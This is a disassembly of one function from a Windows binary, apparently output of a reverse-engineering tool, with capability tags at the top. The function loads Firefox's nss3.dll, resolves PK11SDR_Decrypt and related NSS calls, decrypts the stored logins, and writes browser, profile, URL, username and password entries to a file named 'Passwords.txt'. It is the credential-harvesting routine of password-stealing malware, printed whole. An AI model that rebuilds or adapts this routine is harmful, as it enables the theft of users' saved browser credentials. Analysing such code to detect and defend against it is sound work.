Function at 0x140034d40
Capabilities:
Link many functions at runtime
Set current directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x460
mov rax, qword [0x140346fc0]
xor rax, rsp
mov qword [rsp + 0x458], rax
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rsp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x130], xmm1
lea r8d, [rdi + 0x33]
lea rdx, str.92_80_97_115_115_119_111_114_100_115_46_116_120_116
lea rcx, [rsp + 0x120]
call fcn.140025e20
nop
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x1e8]
call fcn.140023cc0
nop
mov rdx, qword [rsp + 0x138]
cmp rdx, 7
jbe 0x140034e03
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034dfe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400360ea
call fcn.140260e60
lea rdx, [rsp + 0x1e8]
cmp qword [rsp + 0x200], 0xf
cmova rdx, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x1f8]
add r8, rdx
lea rdx, [rsp + 0x1e8]
cmp qword [rsp + 0x200], 0xf
cmova rdx, qword [rsp + 0x1e8]
lea rcx, [rsp + 0x430]
call fcn.14005d8e0
nop
lea r8, [0x140361710]
cmp qword [0x140361728], 7
cmova r8, qword [0x140361710]
mov r9, qword [0x140361720]
mov rcx, rax
call fcn.14006c220
xorps xmm0, xmm0
movups xmmword [rsp + 0x140], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x150], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x140], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x150], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
mov rdx, qword [rsp + 0x448]
cmp rdx, 7
jbe 0x140034efb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x430]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034ef6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036051
call fcn.140260e60
movdqa xmm0, xmmword [0x1402fcf40]
movdqu xmmword [rsp + 0x440], xmm0
mov word [rsp + 0x430], di
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x320]
call fcn.1402a1980
lea rdx, [rsp + 0x140]
cmp qword [rsp + 0x158], 7
cmova rdx, qword [rsp + 0x140]
mov r8d, 8
lea rcx, [rsp + 0x320]
call fcn.14004cff0
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x320], r15
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x31c], edx
cmp qword [rsp + 0x3a8], 0
je 0x140035ef3
lea rcx, [rsp + 0x120]
call fcn.140034210
nop
mov rsi, qword [rsp + 0x130]
test rsi, rsi
je 0x140035eaf
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
lea r14, [rsp + 0x120]
cmp qword [rsp + 0x138], 0xf
cmova r14, qword [rsp + 0x120]
movabs rbx, 0x7fffffffffffffff
cmp rsi, rbx
ja 0x140036057
cmp rsi, 0xf
ja 0x14003501a
mov qword [rsp + 0x60], rsi
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x68], rdx
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x50], xmm0
jmp 0x1400350b3
mov rax, rsi
or rax, 0xf
cmp rax, rbx
jbe 0x140035056
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140260f98
mov rcx, rax
test rax, rax
je 0x140036063
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140035090
mov rbx, rax
mov ecx, reloc.WS2_32.dll_shutdown
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140035081
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14003605d
jmp 0x140035034
test rcx, rcx
je 0x14003508d
call fcn.140260f98
jmp 0x140035090
mov rax, rdi
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rbx
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call fcn.1402a12e0
mov rdx, qword [rsp + 0x68]
movsd xmm0, qword [str.nss3.dll]
movsd qword [rsp + 0x430], xmm0
movzx eax, byte [0x1402f98d8]
mov byte [rsp + 0x438], al
lea rcx, [rsp + 0x50]
cmp rdx, 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, [rsp + 0x430]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
mov rdx, qword [rsp + 0x68]
test rax, rax
jne 0x14003513f
cmp rdx, 0xf
jbe 0x14003513a
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035135
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036069
call fcn.140260e60
mov rbx, rdi
jmp 0x140035177
cmp rdx, 0xf
jbe 0x140035177
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035172
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036069
call fcn.140260e60
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x50], 0
test rbx, rbx
je 0x140035e5b
lea rdx, str.NSS_Init
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140361438], rax
lea rdx, str.PL_Base64Decode
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140361450], rax
lea rdx, str.PK11SDR_Decrypt
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140361448], rax
lea rdx, str.PK11_Authenticate
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140361430], rax
lea rdx, str.PK11_GetInternalKeySlot
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140361420], rax
lea rdx, str.PK11_FreeSlot
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140361440], rax
lea rdx, str.NSS_Shutdown
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140361428], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1d0], xmm0
mov qword [rsp + 0x1e0], rax
lea rcx, [rsp + 0x1d0]
call fcn.140034540
nop
mov r12, qword [rsp + 0x1d0]
mov rax, qword [rsp + 0x1d8]
cmp r12, rax
je 0x140035e4e
mov qword [rsp + 0x80], rax
movabs r15, 0x2aaaaaaaaaaaaaab
mov qword [rsp + 0x70], r12
cmp r12, qword [rsp + 0x80]
je 0x140035e47
mov r14, r12
mov qword [rsp + 0x88], r12
mov r13, r12
mov rax, qword [0x140361438]
mov rcx, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x1400352b9
mov rcx, qword [r12]
call rax
test eax, eax
jne 0x140035dfe
mov rdx, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x1400352d2
mov rdx, qword [r12]
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0xa8], rdi
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x1400352f4
lea rcx, [rsp + 0x90]
call fcn.140012310
lea rcx, [rsp + 0x90]
call fcn.140033cf0
xorps xmm0, xmm0
movups xmmword [rsp + 0xd8], xmm0
mov qword [rsp + 0xe8], rdi
mov qword [rsp + 0xf0], rdi
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140035340
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.140012310
nop
cmp qword [rsp + 0xe8], 0
je 0x140035e07
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2f8], xmm0
movups xmmword [rsp + 0x308], xmm0
mov qword [rsp + 0x318], rax
lea rdx, str._hostname_:_______
lea rcx, [rsp + 0x2f8]
call fcn.140044380
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2d0], xmm0
movups xmmword [rsp + 0x2e0], xmm0
mov qword [rsp + 0x2f0], rax
lea rdx, str._encryptedUsername_:_______
lea rcx, [rsp + 0x2d0]
call fcn.140044380
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2a8], xmm0
movups xmmword [rsp + 0x2b8], xmm0
mov qword [rsp + 0x2c8], rax
lea rdx, str._encryptedPassword_:_______
lea rcx, [rsp + 0x2a8]
call fcn.140044380
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x160], xmm0
movups xmmword [rsp + 0x190], xmm0
movups xmmword [rsp + 0x1b0], xmm0
movups xmmword [rsp + 0x1c0], xmm0
mov qword [rsp + 0x160], rdi
mov byte [rsp + 0x168], 0
movdqa xmmword [rsp + 0x170], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x180], xmm1
mov qword [rsp + 0x190], rdi
mov byte [rsp + 0x198], 0
movdqa xmmword [rsp + 0x1a0], xmm0
mov byte [rsp + 0x1b0], 0
mov qword [rsp + 0x1b8], rdi
mov qword [rsp + 0x1c0], rdi
mov byte [rsp + 0x1c8], 0
lea rbx, [rsp + 0xd8]
cmp qword [rsp + 0xf0], 0xf
cmova rbx, qword [rsp + 0xd8]
mov qword [rsp + 0x118], rbx
lea rcx, [rsp + 0xd8]
cmp qword [rsp + 0xf0], 0xf
cmova rcx, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0xe8]
add rdx, rcx
mov qword [rsp + 0x28], rbx
lea r9, [rsp + 0x2f8]
lea r8, [rsp + 0x160]
mov rcx, rbx
call fcn.140060ee0
test al, al
je 0x140035ce6
lea rdx, str.BROWSER_NAME_:
lea rcx, [rsp + 0x320]
call fcn.140056430
lea rdx, str.Mozilla_Firefox_Browser
mov rcx, rax
call fcn.140056430
lea rdx, reloc.WS2_32.dll_ioctlsocket
mov rcx, rax
call fcn.140056430
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x280], xmm0
movups xmmword [rsp + 0x290], xmm0
mov qword [rsp + 0x2a0], rax
lea rdx, [0x1402f9a30]
lea rcx, [rsp + 0x280]
call fcn.140044380
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x210], xmm0
movups xmmword [rsp + 0x240], xmm0
movups xmmword [rsp + 0x260], xmm0
movups xmmword [rsp + 0x270], xmm0
mov qword [rsp + 0x210], rdi
mov byte [rsp + 0x218], 0
movdqa xmmword [rsp + 0x220], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x230], xmm1
mov qword [rsp + 0x240], rdi
mov byte [rsp + 0x248], 0
movdqa xmmword [rsp + 0x250], xmm0
mov byte [rsp + 0x260], 0
mov qword [rsp + 0x268], rdi
mov qword [rsp + 0x270], rdi
mov byte [rsp + 0x278], 0
mov r8, r14
mov rcx, qword [r14 + 0x18]
cmp rcx, 0xf
jbe 0x1400355eb
mov r8, qword [r14]
mov rdx, qword [r13 + 0x10]
add rdx, r8
jmp 0x1400355fb
mov rdx, qword [r14 + 0x10]
add rdx, r14
mov rax, r14
cmp rcx, 0xf
jbe 0x1400355fe
mov rax, qword [r14]
mov qword [rsp + 0x28], r8
lea r9, [rsp + 0x280]
lea r8, [rsp + 0x210]
mov rcx, rax
call fcn.140060ee0
test al, al
je 0x1400357fe
mov rcx, qword [rsp + 0x228]
sub rcx, qword [rsp + 0x220]
mov rax, r15
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rsp + 0x268]
cmovne rax, qword [rsp + 0x220]
cmp byte [rax + 0x10], 0
je 0x14003566b
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x430], xmm0
jmp 0x140035677
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x430], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rdi
mov rdx, qword [rsp + 0x430]
mov r8, qword [rsp + 0x438]
cmp rdx, r8
jne 0x1400356b3
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x30], 0
jmp 0x1400356c1
sub r8, rdx
lea rcx, [rsp + 0x30]
call fcn.140012310
nop
mov r9d, 8
lea r8, [0x1402f9a40]
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.14006c400
xorps xmm0, xmm0
movups xmmword [rsp + 0xf8], xmm0
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], rdi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xf8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x108], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140035758
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035753
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003606f
call fcn.140260e60
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x30], 0
lea rdx, str.PROFILE_:
lea rcx, [rsp + 0x320]
call fcn.140056430
lea rdx, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0xf
cmova rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x108]
mov rcx, rax
call fcn.140073e10
lea rdx, reloc.WS2_32.dll_ioctlsocket
mov rcx, rax
call fcn.140056430
nop
mov rdx, qword [rsp + 0x110]
cmp rdx, 0xf
jbe 0x140035830
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400357f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036075
call fcn.140260e60
jmp 0x140035830
lea rdx, str.PROFILE_:
lea rcx, [rsp + 0x320]
call fcn.140056430
lea rdx, str.UKNOWN
mov rcx, rax
call fcn.140056430
lea rdx, reloc.WS2_32.dll_ioctlsocket
mov rcx, rax
call fcn.140056430
lea rdx, str.__________________________________________n
lea rcx, [rsp + 0x320]
call fcn.140056430
lea rdx, str.URL:
lea rcx, [rsp + 0x320]
call fcn.140056430
mov rsi, rax
mov rcx, qword [rsp + 0x178]
mov r8, qword [rsp + 0x170]
sub rcx, r8
mov rax, r15
imul rcx
sar rdx, 2
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
cmp rdx, 1
lea rax, [rsp + 0x1b8]
jbe 0x140035894
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], 0
je 0x1400358a7
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x430], xmm0
jmp 0x1400358b3
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x430], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rdi
mov rdx, qword [rsp + 0x430]
mov r8, qword [rsp + 0x438]
cmp rdx, r8
jne 0x1400358f0
mov qword [rsp + 0x40], rdi
mov eax, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x30], 0
jmp 0x140035902
sub r8, rdx
lea rcx, [rsp + 0x30]
call fcn.140012310
mov rax, qword [rsp + 0x48]
lea rcx, [rsp + 0x30]
cmp rax, 0xf
cmova rcx, qword [rsp + 0x30]
call fcn.140034c20
mov rdx, rax
mov rcx, rsi
call fcn.140056430
lea rdx, [0x1402f9a7c]
mov rcx, rax
call fcn.140056430
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003596e
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035969
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003607b
call fcn.140260e60
lea rcx, [rsp + 0xd8]
cmp qword [rsp + 0xf0], 0xf
cmova rcx, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0xe8]
add rdx, rcx
mov qword [rsp + 0x28], rbx
lea r9, [rsp + 0x2d0]
lea r8, [rsp + 0x160]
mov rcx, rbx
call fcn.140060ee0
mov rcx, qword [rsp + 0x178]
mov r8, qword [rsp + 0x170]
sub rcx, r8
mov rax, r15
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 1
lea rax, [rsp + 0x1b8]
jbe 0x1400359e9
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], 0
je 0x1400359fc
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x430], xmm0
jmp 0x140035a08
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x430], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0xf8], xmm0
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], rdi
mov rdx, qword [rsp + 0x430]
mov r8, qword [rsp + 0x438]
cmp rdx, r8
jne 0x140035a4e
mov qword [rsp + 0x110], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0xf8], 0
jmp 0x140035a5e
sub r8, rdx
lea rcx, [rsp + 0xf8]
call fcn.140012310
lea rcx, [rsp + 0xf8]
call fcn.140033ff0
mov rcx, rax
call fcn.140034c20
mov rsi, rax
lea rdx, str.USERNAME:
lea rcx, [rsp + 0x320]
call fcn.140056430
mov rdx, rsi
mov rcx, rax
call fcn.140056430
lea rdx, [0x1402f9a7c]
mov rcx, rax
call fcn.140056430
lea rcx, [rsp + 0xd8]
cmp qword [rsp + 0xf0], 0xf
cmova rcx, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0xe8]
add rdx, rcx
mov qword [rsp + 0x28], rbx
lea r9, [rsp + 0x2a8]
lea r8, [rsp + 0x160]
mov rcx, rbx
call fcn.140060ee0
mov rcx, qword [rsp + 0x178]
mov r8, qword [rsp + 0x170]
sub rcx, r8
mov rax, r15
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 1
lea rax, [rsp + 0x1b8]
jbe 0x140035b1f
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], 0
je 0x140035b32
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x430], xmm0
jmp 0x140035b3e
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x430], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0xf8], xmm0
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], rdi
mov rdx, qword [rsp + 0x430]
mov r8, qword [rsp + 0x438]
cmp rdx, r8
jne 0x140035b84
mov qword [rsp + 0x110], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0xf8], 0
jmp 0x140035b94
sub r8, rdx
lea rcx, [rsp + 0xf8]
call fcn.140012310
lea rcx, [rsp + 0xf8]
call fcn.140033ff0
mov rcx, rax
call fcn.140034c20
mov rsi, rax
lea rdx, str.PASSWORD:
lea rcx, [rsp + 0x320]
call fcn.140056430
mov rdx, rsi
mov rcx, rax
call fcn.140056430
lea rdx, [0x1402f9a7c]
mov rcx, rax
call fcn.140056430
lea rdx, str.__________________________________________n
lea rcx, [rsp + 0x320]
call fcn.140056430
mov rcx, qword [rsp + 0x178]
mov r8, qword [rsp + 0x170]
sub rcx, r8
mov rax, r15
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
jne 0x140035c29
mov rcx, qword [rsp + 0x1b8]
lea r8, [rsp + 0x1b8]
jmp 0x140035c2c
mov rcx, qword [r8]
sub rcx, qword [rsp + 0x160]
cmp byte [r8 + 0x10], 0
je 0x140035c49
movups xmm0, xmmword [r8]
movups xmmword [rsp + 0x430], xmm0
jmp 0x140035c55
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x430], xmm0
mov rax, qword [rsp + 0x438]
sub rax, qword [rsp + 0x430]
add rax, rcx
add rbx, rax
mov qword [rsp + 0x118], rbx
lea rcx, [rsp + 0x220]
call fcn.140042fd0
nop
lea rcx, [rsp + 0x280]
call fcn.14004e600
mov rcx, qword [rsp + 0x2a0]
test rcx, rcx
je 0x140035cb8
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140035cb8
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
jmp 0x1400354a3
lea rcx, [rsp + 0x170]
call fcn.140042fd0
nop
lea rcx, [rsp + 0x2a8]
call fcn.14004e600
mov rcx, qword [rsp + 0x2c8]
test rcx, rcx
je 0x140035d2b
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140035d2b
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
lea rcx, [rsp + 0x2d0]
call fcn.14004e600
mov rcx, qword [rsp + 0x2f0]
test rcx, rcx
je 0x140035d62
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140035d62
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
lea rcx, [rsp + 0x2f8]
call fcn.14004e600
mov rcx, qword [rsp + 0x318]
test rcx, rcx
je 0x140035d98
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140035d98
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
call qword [0x140361428]
nop
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0xf
jbe 0x140035de2
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035ddd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036081
call fcn.140260e60
mov qword [rsp + 0xe8], rdi
mov qword [rsp + reloc.WS2_32.dll_ntohs0], 0xf
mov byte [rsp + 0xd8], 0
add r12, 0x20
jmp 0x140035282
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0xf
jbe 0x140035de2
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035ddd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036081
jmp 0x140035ddd
lea r15, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea rcx, [rsp + 0x1d0]
call fcn.1400457b0
lea rcx, [rsp + 0x328]
call fcn.14004e290
test rax, rax
jne 0x140035eaf
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rsp + rcx + 0x368], 0
cmovne eax, edx
or eax, dword [rsp + rcx + 0x330]
and eax, 0x17
mov dword [rsp + rcx + 0x330], eax
mov edx, dword [rsp + rcx + 0x334]
and edx, eax
jne 0x140036087
mov rdx, qword [rsp + 0x138]
cmp rdx, 0xf
jbe 0x140035ef3
inc rdx
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035eed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400360e4
call fcn.140260e60
nop
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x320], r15
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x31c], edx
lea rcx, [rsp + 0x328]
call fcn.140043d30
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x320], rax
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x31c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x3c8], rax
lea rcx, [rsp + 0x3c8]
call fcn.1402451c4
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 7
jbe 0x140035fc3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035fbe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400360ea
call fcn.140260e60
movdqa xmm0, xmmword [0x1402fcf40]
movdqu xmmword [rsp + 0x150], xmm0
mov word [rsp + 0x140], di
mov rdx, qword [rsp + 0x200]
cmp rdx, 0xf
jbe 0x14003601f
inc rdx
mov rcx, qword [rsp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003601a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400360f0
call fcn.140260e60
mov rcx, qword [rsp + 0x458]
xor rcx, rsp
call fcn.140260e40
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call fcn.14027d5c0
nop
call fcn.140003620
int3
call fcn.140003580
int3
call fcn.14027d5c0
int3
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
int3
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
test dl, 4
je 0x140036095
lea rbx, str.ios_base::badbit_set
jmp 0x1400360aa
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x430]
call fcn.140003a00
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0xb0]
call fcn.140005450
lea rdx, [0x14033e918]
lea rcx, [rsp + 0xb0]
call fcn.140263268
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
int3